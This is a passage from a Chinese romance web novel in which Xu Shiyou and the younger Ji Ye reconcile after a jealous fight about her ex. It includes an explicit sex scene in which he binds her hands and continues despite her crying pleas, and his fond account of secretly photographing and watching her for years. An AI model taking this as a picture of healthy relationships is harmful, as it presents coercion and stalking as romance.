季野淡看她一眼:“我只是来替我姐送礼的,既然已经送完,自然要走。”
“只是送礼?”开车五个多小时跑来,只是为了送礼?徐诗柚不信。
季野眼睫垂下,安静半晌,还是如实回答:“不是,是想见你……”
“但姐姐好像不太需要。”或许他就不该来。
果然误会了,这么让他走肯定不行,误会这种事,不能隔夜的。
“不是你想的那样的,你先听我说完,我……”
“他什么时候过来的?”
徐诗柚话说到一半,被他打断。
“啊?昨、昨天……”
“那他昨晚住哪?”
“……我家。”
“所以,昨晚我们打电话的时候,他就在你家了是吗?”
徐
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诗柚抿紧了唇,也没法说不是。
“既然不是我想的那样,昨晚又为什么不直接告诉我?”季野最后一句质问落地,徐诗柚彻底沉默了。
她不是不能解释,而是明白这种场合下的解释很无力,怎么说对方都会觉得是辩解,情绪上头时是听不进解释的,她太清楚这种被怀疑的负面情绪占领时的状态了,什么都听不进去,只会任由自己的想象将自己击溃。
但如果真不管,让事情就这么不了了之,此刻种下的怀疑种子又会成为往后每个情绪爆发瞬间所积累的稻草,谁又知道会不会是最后一根呢。
让人窒息的凝滞在两人之间流转,季野几乎认定她是默认了。
在他再次迈步前,徐诗柚拉了拉他的袖子,软声:“我说是怕你想多,不想你不开心才不说的,这样的理由你接受吗?”
“那你们刚才抱一起也是怕我想多?”
“我那是……”
“算了,别说了,我不想听。”在她解释前,季野再次仓促打断,像是害怕听到答案般偏过脸,避开她视线。
他垂下眼皮,压下情绪,“就这样吧姐姐,我先回去了。”
“这事,我们以后再聊吧。”如果还有以后的话。
他又往前走,始终没有再听到身后有声音跟上。
徐诗柚站在原地看着他的背影走远。
季野放慢了脚步,一点点被失望的情绪占据。
他慢吞吞地摸出口袋里的车钥匙……
正要按开时,陡然听见急近的脚步声,他立马回头,只一刹的功夫,手上的钥匙已被夺去,徐诗柚抢过了钥匙对着车按了开锁。
紧接着手腕一紧,季野就被拉着往车副驾去,车门被用力拉开,他就这么被对方摁着塞进了副驾位,砰地又被甩上了车门。
徐诗柚自己坐上了主驾,扶着方向盘,冷着张脸开口提醒:“安全带。”
季野还处在一脸茫然不知所措的发懵状态,但不知道是不是徐诗柚冷脸的时候挺唬人的,他习惯性听话,乖顺地扣上了安全带。
车就这么嗖地开了出去。
他也不知道她想做什么,想去哪,他也不敢问。
他觉得自己没出息透了,明明自己占尽了道德高地,明明自己才是该生气的那个,但她一冷脸,他立马就怂了。
直到徐诗柚把车开到一家酒店,两人开了房,进了房间,他脑子里都还是一片浆糊。
“怎么……”
“你开一天车了,来了又没休息过,不累吗?疲劳驾驶可是违法的。”徐诗柚进了房间便兀自换了鞋,边摸出手机边解答他的疑惑。
她给周女士发信息:【今晚不回。】
周敏那头颤巍巍发来个恐慌表情包:【和哪个……】
虽然知道小秦已经走了,答案很显然,但周敏还是有些不死心。
徐诗柚:【小的那个。】
徐诗柚知道,比起季野,周敏也许会更偏向于看起来就成熟稳重的秦聿,毕竟在长辈的眼里,年纪小的终归不那么靠谱,但她这会也懒得遮遮掩掩了。
而且她也知道,周敏不是那种太老古板的母亲。
果然,虽然不是她属意的,她还是很大方地回了句:【行…但注意安全。】
至于说的注意什么安全,徐诗柚懒得深思。
她回复完信息,见季野还傻愣愣地杵在门口,眉心又是拧紧:“站那干嘛呢?不去洗澡?你不冷吗?”
“……”怎么就发展到洗澡了?
42. 难哄
季野直到洗完澡出来都还是懵逼的状态,徐诗柚却跟什么都没发生似的,见他出来后便也进去了。
由于两人都没带换洗的衣物,所以穿的都是酒店准备的浴袍。
季野发现自己完全被牵着鼻子走了,或许今晚过去,这事就会被她这么随意地糊弄过去。
但他心里的气并没有消,也没有听到想要的解释,实在不想就这么过去。
他在床上呆坐许久,直到听见浴室传来开门的声音,嘴角立马拉平,拉起被子一盖,躺到床远离她的一侧,背对着她。
徐诗柚出来便见他背对着自己,一副拒绝沟通的姿态,叹了声,有些无奈。
看来是真的很气了,都不想理她了。
身后的床塌陷,人上了床,季野等了许久,只等到她把灯熄灭,人躺下,四周归于平静。
他没有再等来她的任何解释,彻底失望了。
他以为这么久了,他在她心里多少是有些分量的,但现在看来,他和她池塘里的鱼也没什么区别,不过是有幸多得她几分青睐罢了。
生气,作,质问,那是男友才有资格做的事,这么一想,他好像什么身份都不是,哪来的脸给她脸色看了?
人都快把自己想破防了,腰上忽的缠来一只小手,随之是温热柔软的身体贴上背脊。
他僵了一瞬,就感觉那只手开始不老实,钻进睡袍,在他小腹上乱摸。
他把那只手扒拉开,不让摸。
徐诗柚被拒绝,讪讪收回手,过了一会,又缠上来,还故意用身体的柔软挤压着他的背。
季野真要被她气死了,冷着脸又往边上挪了挪,远离她的“骚扰”。
他再挪都要躺地上了,徐诗柚没辙,只得老老实实抱住他的腰,脸贴他背上。
默了会,缓声开口:“我事先不知道他会来的。”
她终于肯开口了,季野不动了,但也不回应。
“我不能说你的生气没道理,因为他确实是抱着目的过来找我的。”徐诗柚说到这停顿几秒,接着说,“他想和我重新开始。”
季野的身体明显因为这句话而绷紧,呼吸都重了几分。
徐诗柚安抚地拍拍他:“你先别急,我没有答应,当然也不打算答应。”
“至于为什么会抱在一起……那会我情绪有些激动,他可能想用这种方式让我冷静下来吧,我推他了的,还咬了,真不是你想的那种拥抱……”
“我知道,就算我这么说你心里也不会好受,毕竟我到底还是因为他的话而产生了情绪,被他动摇了,你会觉得,我还是在意他对不对?”
她太懂了,把他的心理摸得透透的,毕竟那都是她曾经经历过的。
“我没法否认我还是会因为他而产生情绪波动,但我哭……真的不是因为留恋。”
她等了会,季野仍是没有要开口回应的意思,她也摸不准他现在到底是什么态度,只好自己继续往下说。
“该怎么说呢…我哭,大概是因为长久以来在他那积压的委屈,总算有了发泄的途径吧,我可能,一直以来都只是需要这样一个发泄的机会,而他终于给我打开了一道口……”
“我不知道怎么形容那种感受……但我能肯定的是,那不是留恋。”
“其实和他在一起的很长一段时间里,我都处在一种相当内耗的状态中,自我怀疑,不够自信,觉得自己不够好,不够优秀,也很没有安全感……”
说到这,她自嘲地扯了扯唇:“这是不是特别不像我?我也不知道自己为什么在他面前总会这样,薇薇说,我是被他pua了还不自知……”
“也许吧……”
“我那会刚出社会,遇见他这么个帅气多金,成熟,有魅力,工作能力强,做事又很有魄力,几乎可以说集所有优点于一身的上司,真的很难不被吸引,大概是慕强吧,那时候我特别希望自己有一天能成为像他那样的人……”
“对于那时候的我而言,他大概是有点类似于偶像之类的存在的。”
“呵,偶像睡粉啊?”季野终于开口了,却是一声不屑的冷嘲。
“……”这让她怎么接?该说当初是她先主动的吗……
不过就算她这么说,季野也不会认可她的说法,男人最了解男人,像秦聿这种什么都不缺,又高傲到骨子里的人,如果他自己没想法,不给机会,别人再怎么主动都未必近得了他身。
甚至他觉得,很有可能,不过是大灰狼引诱刚出社会的小白兔主动掉进陷阱的戏码,这对秦聿这种早在社会上多年又阅历丰富的男人又有什么难的。
徐诗柚没法接,只能硬着头皮继续说下去:“总之,他对那时候的我而言就和偶像差不多,所以我会特别渴望得到他的认可,他的每一句称赞或打击,都会影响到我对自我价值的判断。”
“偏偏他这人吧嘴巴还特别毒,对我,永远没一句好听的。时间久了,我也会怀疑,自己是不是真像他说的那么差劲。”
她在解释,也是在剖析曾经的自己。
“所以当他跑来找我,并表示想和我重新开始的时候,对我而言,其实算是某种程度上的一种认可……”
“至少证明,我没有他说的那么糟糕,不然他这样的人怎么肯为我低下一点头?”徐诗柚把脸深深埋进他的背里,声音有些低迷:“我知道这么想很蠢,也知道不该把自己的价值建立在别人的认可上……”
“其实发泄完后我也意识到了,这不过是我长久以来的一个执念,又或许说,我其实更需要的是一个可以正大光明骂他的机会。”
“不然真的很不甘…我哪有他说的那么差?凭什么要被他这么对待了?”
虽然骂人的目的没达到,还把自己整哭了有点丢人…但……
“现在的我,其实已经不需要他认可了,我只需要自己认可我自己就够了。”
而这样的自我认可,是她从季野身上获得的,不是秦聿。
他让她觉得自己值得,自己就是什么都很好,季野虽然没有把这些常挂在嘴边,但日常相处给她的感觉就是这样的,他看她的眼神,就好像她是全世界最好的。
季薇曾经对她说过,会希望她和弟弟一起,是因为她和季野一起的时候,能看到从前的她,那个自信,对任何事都游刃有余的她。
而不是在秦聿身边时,那个不停自我否定,自我怀疑的她。
她觉得这样的她很好。
如果两个人一起,对方只会让你内在的光芒越来越暗淡,那他给你外在赋予再多的荣耀也没有任何意义。
要找,当然要找能让你从内到外都认可自己的人。
而不是像秦聿这样拧巴的,一边放不
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下,一边又看不上她的。
说了这么多,季野依旧一声不吭,徐诗柚有点没底了。
这番话她虽说得坦诚,但是,听的人却未必舒坦。因为不管怎样,都说明她被另一个男人牵动着情绪,她不知道季野是否能接受这样的她。
等了许久都还是没等来回应后,徐诗柚又开始不老实了,但很快,手又被扒拉开。
季野听进去了,但气还没消,他还是对两人抱在一起的事很介意,对她在他面前哭的事很介意,甚至对她夸他…也很不爽!
徐诗柚不放弃,手依旧在他衣服底下乱蹭。
人说床头打架床尾和,再不吭声,她就得上点特殊手段了。
而且说实在,这么多天不见,她每天对着手机那头帅气的弟弟,早就心痒痒了,更何况人在面前。
她支起身,想看他表情:“……真不想?”
“…不想!”他硬邦邦地再次扒拉开她的手,坚决不接受用这种方式解决问题。
徐诗柚思虑几秒,收回手,调开了夜灯,视线去找他脱下挂起的大衣。
找到后,下床。
季野意识到不对,终于不再装死,他转过来只看了一眼,便明白了她要去做什么,顿时慌着起身要去阻止。
只是赶不上了,徐诗柚已经从他大衣的内衬里翻出了熟悉的小盒子,她故意把盒子在手中抛了抛,接住又朝他晃了晃,似笑非笑:“这是不想?”
她低头睨了眼,啧,第一次时还只是三个装的,这次居然都十个装了。
季野一张脸涨得通红,被识破不良居心后,又羞又窘又恼,多少有点恼羞成怒了。
他躺回去,一拉被子,自暴自弃:“本来是想的,现在不想了!”
闷闷的声音从被子底下传来:“被气饱了!”
徐诗柚爬回床上去抱他,像顺毛小狗一样安抚:“好好好,不想就不想吧,你说了算。”
她嘴上这么说着,手却更过分了,直接顺着浴袍探了下去。
被精准握住的时候,季野整个都炸了,一掀被子,咬牙:“徐诗柚!”
他难得直呼她大名,气得不轻啊。
徐诗柚无辜地眨眨眼,手还动了两下,又问一遍:“……真不想?”
季野呼吸彻底乱了,漆黑瞳仁染上欲色,强势欺上,喉结重重滚了滚:“姐姐非要用这种方式来解决问题是吧?行啊,那别后悔……”
……
这会儿,徐诗柚还不知道什么是后悔。
甚至还抬起膝盖轻轻蹭了蹭那并不像他所说的“不想”的地方,勾着唇,眉尾轻挑,相当挑衅:“后悔什么?”
啧,小狗连放狠话的样子都这么可爱。
季野闷哼出声,眸色一暗,彻底被点燃,在对方挑衅的眼神下,手攀上她腰肢,一拉,一扯,徐诗柚系在腰间的浴袍带子便这么被轻易扯了下来。
身体被明显的凉意灌进时,徐诗柚唇角的挑衅都没下去,便已错愕地瞪圆了眼。
还没反应过来,双手已经被反扣过头顶,眼睁睁看着他用浴袍带子把自己的两只手牢牢地捆绑在了一起。
什么……
“不是……”
修长的指尖掰过她的下巴,抬起,压上来的人用鼻尖和她轻蹭,眸色阴郁,声音涩哑:“姐姐说了不后悔的……”
43. 失控
在他这句话后,徐诗柚言语能力也丧失了。
以及,逐渐开始后悔自己开始前的嚣张。
挑衅的时候有多拽,现在哭得就有多狠。
一小时后,她彻底受不了,开始哭哭啼啼求饶。
“阿野…嗯我错了,我们…我们还是好好聊聊好不好…呜……”
她腰肢乱扭,身体难耐地摆动着,捆绑的双手始终被压制,无处着落,胡乱地攥紧着手边一切可以抓住的东西,床单被挤出深刻的褶皱。
以往季野再情动的时候,动作都会保留住几分克制,会关注她的感受,会怕弄疼她,所以再亢奋都会控制。
但今晚的他,大有一种不管不顾了的疯狂,完全没在压抑的,只有粗暴两个字可言。
偏偏这种粗暴又有种打破常规的刺激感,徐诗柚在这种反差,以及磨人的逗弄下,既难受又愉悦,不生不死的。
“你先…你先松开我好不好…阿野我、我难受…我们聊、聊聊……”光点在视野里晃成了虚影,话也被撞得破碎。
“聊?聊什么?聊姐姐有多在意他吗?”
“不是,我没有…呜我就是…就是想和你解释清楚……”
“可我只听出来姐姐有多在意他,情绪有多被他牵动了。”
“姐姐还把他夸得有多好……”
“姐姐这么喜欢他,怎么不干脆和他一起算了?”
“呜呜我没有……”
“这么喜欢他,为什么还要来招惹我?”
对方跟自动屏蔽了她的话似的,不管她怎么哭喊都不见收敛,自己却红着眼,委屈地控诉一句接一句。
“姐姐…我是你养的鱼吗?
“姐姐把我当什么了?还是说…我就只是姐姐的炮/友?”
说到这,他停了几秒,像接受了什么难以接受事实般,眼神挣扎,眼底盛满了不甘和妥协:“炮/友…也行啊,但姐姐别要他了,我比他年轻,肯定能做得比他更好…姐姐还是选我吧。”
说完,自己倒又像受了什么刺激般,动作更狠厉了几分,还觉不够,又把她翻了个面。
腰部被托起,手被捆绑着向前跪伏,姿势要多羞耻有多羞耻。
侧脸陷进柔软的被褥里,她目光溃散地紧咬住下唇,难以言语。
一会,他又说。
“不行,我还是没法忍受姐姐和别人做这种事。”
“姐姐…你到底什时候给我名分?”
“姐姐,看我,告诉我,我是你的谁?”
他说话前言不搭后语的,一会这样,一会那样,句句都似乎委屈至极,语气却不见丝毫温度,表情也是陌生的阴翳,没有一点徐诗柚熟悉的小狗模样。
天,她以前怎么会觉得他听话乖巧!
她想为自己辩解几句,但压根说不出一句完整的话来,唇瓣一张只会泄出更为羞耻的声响,眼角分泌的生理性泪水也止不住地往外流。
他又把她正过来,怜惜地亲走她的眼泪,温柔地抚住她脸,见她哭,他慌张得不行,耳朵也红得厉害,像紧张,又像是害羞。
他红着脸,局促出声:“姐姐,你别哭了……”
动作不停,“你这样…我会更兴奋的。”
……去他的听话乖巧!
从深夜到天亮,她喉咙都哑了,他还在她身体里。
她气得骂他,好话歹话说尽,他像只脱缰的疯狗,置若罔闻,翻来覆去更深地纠缠她。
中间为了求饶,她连哥哥,爹地之类的称呼都喊上了,他愣了,似乎对她这样的称呼颇感意外,也确实让她缓了几秒,只是几秒后,换来的却是更猛烈地对待。
“姐姐再多喊几次?我喜欢。”
“姐姐,你这样子好美啊,我好喜欢……”
“你怎么这么漂亮,让我死里面算了……”
“好喜欢好喜欢好喜欢……”
……滚啊!
快天亮的一次,徐诗柚意识整个溃散,手掐进他臂膀的那刻,唇瓣张着,双眼完全失焦,整个人软成了滩烂泥。
甘霖之雨彻底把床单打湿的时候,两人都有些怔愣。
在绵长的余韵过后,徐诗柚恢复几分清醒,又迅速被极度的羞耻占领,又羞又窘,整个人快涨成了一颗熟透的红苹果,结果只换来他更彻底的失控。
他似乎对她这样的表现很是惊喜和意外,胜负欲被激起,像是找到了什么有意思的事,不眠不休地誓要缠到她臣服为止。
即使她哭喊得喉咙都哑了,他动作也不见半分收敛,声音却始终温柔,他轻吻过她眉眼,不吝啬地给予她夸奖:“姐姐好棒啊…”
“看来姐姐也很喜欢这种方式…嗯?姐姐怎么不说话?”
“再让我多看点姐姐不同的样子好不好…我好喜欢……姐姐也很喜欢对吧?”
“不说话就当你承认了…嗯?我就知道,姐姐果然很喜欢……”
徐诗柚:“……”
天亮前,徐诗柚彻底成了个被玩坏的破布偶,怎么结束的不知道,怎么睡着的不知道,只觉着好像死过那么一回。
-
等她睁眼时,已是下午。
她浑身酸软无力,下意识去摸身边的人,旁侧凉凉的。
她惊坐起,喊了几声,没人回应,再一看时间……不会已经走了吧?
正准备打电话,季野回来了,拎着外卖,和其他什么。
“姐姐醒了?”天一亮,他又恢复了平日那副温顺乖巧的小狗模样,让徐诗柚有几分恍惚昨晚的事是否真实。
已经完全看不见对方昨晚上那阴翳粗暴的疯癫模样了。
她动了动唇:“你去哪了……”一出声才发现声音哑得可怕。
季野给她递上水,她喝了几口,才感觉喉咙的粘滞感稍缓了些。
“我怕你醒来饿,去给你买了点吃的,还有一些药。”
“药?你生病了?”
他脱了外衣上床抱她,眼神有些闪烁,低声:“不是。我早上看了下,好像有点肿了……”
在她发难前,他已经乖巧地低下了头,讨好地在她颈间轻蹭:“对不起啊姐姐,我昨晚好像…有些失控了,不是故意的……”
徐诗柚明白过来他的话,脸一热,没忍住,锤他一下:“你变态啊?大早上看…看……”她实在说不出口。
“昨晚没收住,有点过了,我也疼……”他倒是委屈上了,“所以我想姐姐应该也……”
把自己弄到疼的,他也是没谁了,还好意思说呢!
后面给她上药的时候,他懊恼地耷拉着脑袋,又好几次道歉。
心疼是真的,只是再重来一遍,他恐怕还是会死性不改地故技重施。
感受过那种极致的快乐后,实在很难昧着良心说不会再做。而且,他好像也只有通过这样的方式才能从她身上汲取到些许安全感,只有不停地占有,才感觉自己拥有着她,内心的不安才会被抚平些许。
徐诗柚不知道他内心的那些坏心思,她攀住他肩,软倒在他身上控诉:“你有完没完啊?到底是擦药还是…还是……”她说不下去了,情潮轻易被他牵起。
徐诗柚又锤他:“你变了,你以前不是这样的,你把我的纯情乖小狗还我!”
季野涂抹的手一顿:“姐姐…不喜欢?”
徐诗柚狠掐着他小臂,脸深埋进他怀里,难受不已,含糊不清地控诉,“你昨晚…好凶…一点都不乖……”
徐诗柚以前就爱夸他乖,他想她确实是喜欢那样的,这会听她这么一说,还真以为她不喜欢。
“姐姐喜欢乖的?”
他恋恋不舍地抽回手,搂紧她腰,埋头闷声,又道歉:“对不起…我昨晚那样是不是吓着你了?”
“但姐姐能理解的吧?我就是太吃醋了……”
“我保证下次不会了,会控制好自己的,姐姐你别生我气,也别怕……”
虽然季野觉得她昨晚的身体表现不像是不喜欢的样子,但她也好像确实被他弄哭了一晚上……
要是因着昨晚的一顿发疯让姐姐以后不敢再和他那什么,岂不是亏大?那他情愿忍忍。
昨晚是疯了点,但不可否认徐诗柚是有被爽到的,是前所未有的体验感。尤其是弟弟在
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床上不同于以往的表现,野蛮,强势,不讲理,但又劲劲的,莫名刺激,她倒也没有不喜欢……
但她这会不太好意思说喜欢,更怕他听了不加收敛,她算是看清他了,表面很乖,但给点提示他能自我发挥到没边!
“姐姐…你昨晚说的话还算数吗?”他突然问。
“什么话?”她昨晚断断续续说了挺多的,乱七八糟,自己都不知道瞎说了些什么。
“就我问你,我现在算你什么人……”
“哦,那个啊……”昨晚被他逼着回答,她哭着应了好多声男朋友,是男朋友来着,但那不是没办法才应的嘛,“你知道的,床上说的话通常……啊——!”
臀肉被狠拧了一把,徐诗柚痛呼出声,仰头便对上小狗那阴翳又委屈的眼神,话锋就是一转,“通常…都是认真的!”
她怎么现在都有点怕他这种眼神了…感觉不改口,下一秒就会被对方吞掉。
小狗听了果然眉开眼笑,眼底半点不见刚才的阴翳,还在确认:“那我们现在是情侣关系了,我是姐姐的男朋友了对吗?”
“……嗯。”不敢说不啊。
终于讨要到了名分,小狗高兴得一会亲亲她眼睛,一会亲亲她耳朵,一会亲亲她额头的,到处啜,亲着亲着,又奔着嘴巴去了,吻着吻着,徐诗柚又被放倒在了沙发上。
意乱情迷之际,某人想起刚刚才保证过的事,不能这么快就打自己脸,又硬生生压住了往下的冲动。
两人呼吸混乱地抵着额,互相拥抱着缓了好一会,才从旖旎的气氛中抽身。
昨晚实在太累,这会也已经下午,徐诗柚怕他没休息够,毕竟昨晚就没怎么睡过……便让他再多留一晚,明日再走。
-
晚上,徐诗柚洗完澡出来,看见被扔在床头的盒子,瞄了眼,也就只剩几个了,以防两人一个把控不住……还是先收起来吧,今晚是不许再用了。
她把盒子捡起重新塞回季野的大衣里,却在他外侧的口袋里摸到了个小物件……
季野洗完澡出来的时候,便见她站在他挂着的大衣前,低着头一动不动的,他擦着头发过去,看清她手上的东西后,怔愣片刻。
徐诗柚在把玩着一个小手办,左看右看,怎么都觉着和她最近设计的猫狗cp系列中的小狗人偶很像……
都是黑色系,都是小狗男孩,连手艺都很像她的,区别只在于,手工不如她的精致,造型设计也有些不一样,而且这个看起来要陈旧些,有轻度破损和褪色问题。
季野伸手过来抽走,徐诗柚这才回过神来,疑惑问他:“你这个是哪来的?怎么这么像……”
“像姐姐的小狗?”
“……”这是她给自己原创设计的猫狗cp起的系列名。
她还不确定,伸手想夺过再仔细瞧瞧:“你让我再看看?”
结果季野却把东西高举起,她垫脚都够不到。
徐诗柚瞪圆了眼:?
对方比她高出一个头还要多些,低眸看她时,视线顺着眼尾垂落,带着几分失落:“姐姐果然早都忘了。”
忘了?
这话含义颇多,徐诗柚听了都要回忆半晌,却怎么也想不起来自己什么时候做过这么个物件。
与其说不记得是什么时候做过,不如说,是她做过的物件太多,好多做完就忘了。
但强烈的熟悉感还是让她在看到这手办的第一眼,就有种这是自己做的直觉。
她讨好地笑笑,干脆抱住他蹭蹭:“…给点提示?”
季野放下了高举的手,回抱住她,在她发顶落下一吻。
随即放开,坐到床边懒靠着,拍拍身旁的位置示意她:“姐姐还记得第一次来我家时候的事吗?”他倒也没卖关子。
好多年前的事了,徐诗柚记忆模糊,但她猜了个大概:“你不会说,这是我以前送你的吧?”她顺着他的示意坐过去,同他靠着。
“嗯。”他唇角轻轻扬起,视线垂落,落在手心的小狗人偶上,轻轻摩挲。
季野到现在都还记得,那是他第一次见到姐姐的这位朋友。
44. 暗恋
他和季薇同父异母,在成长的相当长一段时间里,两人从未见过,他只知道自己是有个姐姐的,大约是小学快结束的那年,两人才真正见面。
那会他也才被接到父亲家没多久,很不适应,也敏感地察觉到自己的这位姐姐并不待见自己,所以在家里他都是尽量避着的,大部分时间他都呆在卧室或者家里没什么人去的角落。
他从小性格就比较独,在别人看来是有点装的,所以每次到新环境,总莫名有人看他不顺眼。
见到徐诗柚那年,他刚上初中,被同学无缘无故地针对,还因为他喜欢捣鼓这些小人偶而嘲笑他幼稚,甚至故意摔坏他带到学校的手办。
他不太喜欢跟家里人讲这些事,不高兴也只是闷着不说。
季薇带朋友回来那天,正好是妈妈送他的手办被人为摔坏的那天,那是妈妈送他的生日礼物。
怕季薇不待见,他自觉避开,也没想过出去打招呼什么的。
他躲在庭院里,捧着自己被摔成几瓣的手办小人偶难过,企图用胶水粘好,被他姐带回来的朋友瞧见了。
怕又被嘲笑,他下意识便想藏起。
他以为没被发现的。
结果对方临走的时候,塞给了他一个小狗人偶,还是特意跑来庭院塞给他的。
她说,“第一次见面,没带什么礼物,送你这个可以吗?我觉得和你有点像诶~”
……
徐诗柚对他说的事没有一点印象,很大概率就是她和薇薇聊天时闲着无事随手捏的,没什么特别的意思。
而且这种手办想要长期保存不太容易,这么多年前的作品,现在也只是轻微破损,说明是被人好好地珍放着的。
徐诗柚忽然想到什么,福至心灵,幡然了悟:“你该不会、该不会……”
她指了指自己,不太敢相信:“莫非……白月光?初、初恋?”记得第一次那晚,迷迷糊糊中,她有听到他这么说过来着,但当时她没太上心,打心底就觉得不可能。
季野却在她不可思议的目光中笑了,点了点头,承认了。
徐诗柚迅速靠自己脑补了他的暗恋过程:“啊,所以你其实很早就喜欢上我了?就因为我送了你这个?”
“那什么,是不是那种,人生灰暗时刻,我像一道光一样照亮了你的人生……”
小说看多了,她越说越中二,没等她发挥完,季野已经笑得肩膀不住地抖,声音都带着笑腔:“你在脑补些什么啊姐姐?”
“……不是这样吗?”小说都这么写的。
徐诗柚拉下脸来,很不高兴的样子,难道她拿的不是救赎剧本?
“那是什么?”
季野缓了缓情绪,敛起些笑意:“姐姐还记得,那天你还在我们家三楼的露台上睡着了吗?”
“嗯?”还有这种事?她那天睡过觉吗?
家里三楼的露台,平时很少有人会上去,季野却独喜欢在那看书,这是他长久以来的习惯,那天也不过是和平常一样罢了。
他是听见季薇离开时的关门声才出来的,他以为她们都走了。
露台那有张摇摇椅,他走近才发现上面还躺着个人。
那时正值盛夏,阳光炽烈,紫藤花架上爬满的藤蔓为摇椅遮挡了大片的日光,阳光穿过枝叶的缝隙,斑驳洒在摇椅上的人身上。
她穿着一身纯白的裙子,两手交叠在小腹上,季野看不见她的样子,她似乎也是来这看书的,看着看着便睡了过去,大约是日光太盛扰人,她把书反扣在脸上,遮了个严实。
他不自觉往她的方向走近几步,想确认些什么,摇椅在风下轻轻晃动着,忽的,啪嗒一声,书从她脸上坠落。
少女瓷白的肌肤在日光下泛着细腻的光,美得干净又纯粹,长睫如蝶翼,轻轻颤动,似要睁开。
季野呼吸一滞,忽的心跳如擂鼓,走也不是,不走也不是。
怕被她误以为是在偷窥,他脑子已经飞速转动着在想解释的措辞,却见她眼睛只微微撑开了一条缝,也不知道是看见了他还是没看见。
她开了口,声音很轻,同燥热的风一同吹入他耳里。
她说:“宝宝,你回来了……”
季野被这声“宝宝”钉在了原地,错愕得竟一时不知该作何反应,所幸她没真正转醒,念完这句话后,很快又睡过去了。
不知道出于什么原因,季野没走,他轻声过去,把掉落地上的书捡起,安放在她搭在小腹的手下。
他呆站着看了她许久,最后,鬼使神差地拿出手机偷拍了张她熟睡的照片。
因着这事做得太过冒犯且轻挑,他为此心虚了好一阵,更不敢到她面前露面了,谁曾想后面她会主动来找他,还给送见面礼。
好几次他都想将照片偷偷删掉抹除罪证的,但每次按到删除键又不知为何就是下不去手。
季野说到这的时候,有些羞赧,不太好意思地开口:“我那时候就是觉得,姐姐好漂亮啊,像仙女一样,就没忍住……”
徐诗柚听完,啧了声:“什么嘛?搞了半天,原来是见色起意啊?”肤浅!跟她也没什么区别嘛!还不如救赎向剧本。
季野却不大同意地皱了皱眉:“我那时候,好像也才十二三岁吧?”
“十二三岁怎么了?十二三岁就不会见色起意了?”
季野掐了下她脸,无奈笑道:“姐姐说是就是吧,但当时,我真没那样的想法,就是单纯觉得,你好漂亮……”
“非要说见色起意的话,大概要到高中的时候了。”
“嗯?”徐诗柚挑挑眉,听出他话里有情况。
都这样那样过了,季野也不藏着掖着,但说出来总归有些不好意思:“就那什么,男生到了某个时期,不都会有这样那样的生理现象嘛,我就是刚上高中的时候……”
“那会第一次梦遗,就是因为梦到姐姐……”
他声音越说越小。
“哦~原来这么小的时候就已经对我有那样的想法了啊?”徐诗柚拖着声音笑得揶揄,她掐回去,“弟弟,思想不纯洁啊你~嗯?”
季野假意咳了声,别开视线:“很正常的生理现象吧……不过我那时候第一次做那种梦,确实有被吓到,而且对象还是自己姐姐的朋友,你不知道,我那阵子光是听到我姐和你打电话都心虚……”
“感觉自己特别下流……”
“那后来呢?觉得自己下流就不做了?”她饶有兴致地追问。
“……不是。”他再次不自然地移开目光,“后来做得多了…反而没什么负担了。”
“……”要点脸吧!
“呵呵,做得多了?”徐诗柚冷笑一声,直起身来再次掐住他两边脸,往外拉扯,“你老实交代,除了我,还梦到过谁?”
“没有!”他立马把目光移回,正视向她,用掌心包裹住她的两只手,“除了你,我没梦到过别人,真的,我发誓!”
他说得认真,徐诗柚都不好逗他了。
他用脸蹭着她的掌心,腼腆笑着,耳朵通红,颇有些不好意思:“姐姐大概算是我整个青春的…嗯,性启蒙……”
所有关于异性的想象,都只源于她。
整个青春,这是一个不小的词,可谓举足轻重。
徐诗柚忽然想到了什么,有些欲言又止,她其实早有察觉了,此刻却不知道该不该问,问了会不会让他不高兴。
她斟酌半天:“那个,阿野……”
“姐姐想问什么?”看出她的犹豫不决,他主动问。
“你是不是…早就知道我和秦聿的事了?”
那句“偶像睡粉”,太有指向性了。
果然,季野脸上的笑容微凝,肉眼可见的心情晴转阴,睫毛轻轻颤动着垂下,闷闷地“嗯”了声。
“不是季薇告诉你的吧?”
“不是。是我自己知道的。”
“那你是怎么……”怎么知道的?徐诗柚不知道该不该问。
季野眼神微动,唇抿着,又张开,似乎也不知道该不该说。他低头把玩着她的手指,犹豫许久,迟缓地解释:“不是不能说,只是我怕你知道了,会反感……”
反感?
“其实第一次见你的时候,只是觉得你很漂亮……”徐诗柚还没想出个所以然来,他已经开始说了,“至于是不是一见钟情,或者见色起意什么的,那时候我也没什么概念。”
“就是意识到的时候,已经发现自己时
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常会想起那个午后你在躺椅上熟睡的样子……再到高中频繁做那种梦时,我才意识到,这大概就是所谓的心动吧。”
“说是一见钟情也行,只是我意识到一见钟情的时间有些晚。”他说到这,自己都觉得有些好笑,笑自己的情感反应弧度太长。
“再后来就是会忍不住关注你的事,光听到我姐提起你的名字,或者和你打电话都会忍不住在意,有时还会偷听……看到姐发和你有关的朋友圈时更是会一遍遍地看。”
徐诗柚听得一愣一愣的,这……
“意识到你可能有喜欢的人了这件事也是,是有次我姐发你深夜喝醉的照片,从她的话里,大概猜到你是为情所困了。”
“那你是怎么知道那人是秦聿的?”徐诗柚还是觉得不解,毕竟季薇是不可能发秦聿照片的。
“我那会就知道姐姐来京市工作了,也从我姐那知道了是在哪家公司,我其实,偷偷去见过姐姐很多次的,就在你们公司楼下的咖啡店……”
“我知道你,午休的时候经常会去那家咖啡店,点一杯香草拿铁和一块点心,有时是提拉米苏,有时是舒芙蕾,你在那比较爱吃这两样。”
徐诗柚听着,震惊到不知道该说什么了。
“可我怎么…怎么……”从来没见过他?
季野苦笑了声:“姐姐那时候满眼都是那男人,哪看得见别的?”
“知道你有喜欢的人后,我一连去那咖啡店坐了好多天,直到看到你和他一起出现时,我就确定,就是他了。”
“姐姐看他的眼神,根本不是那种看上司的眼神。”
徐诗柚嘴唇嗫嚅着,不知道还能说什么了,心里霎时塌软成一片,原来在她爱而不得的时候,也有人和她饱受着同样的煎熬,原来在她看不见的地方,也有人一直默默把她珍藏。
她问:“所以,你介意我曾经和他有过那样的关系吗?”
季野想说不介意,但那有点假:“说完全不介意我自己都不信……当然,我没有要责怪姐姐的意思,非要怪,也只能怪我自己,谁让我生得比姐姐晚呢?平白让人抢了先机。”
徐诗柚有些好笑道:“怎么?给你多出生个几年,你是要上来抢吗?”
“嗯,我会的。”他看向她的目光坚定,对自己会那样做非常笃信,但很快肩膀又垮下,“但姐姐出来工作的时候,我都还没成年,就算我想去争取,大概率也会被姐姐当做小孩子打发吧。”
那确实……
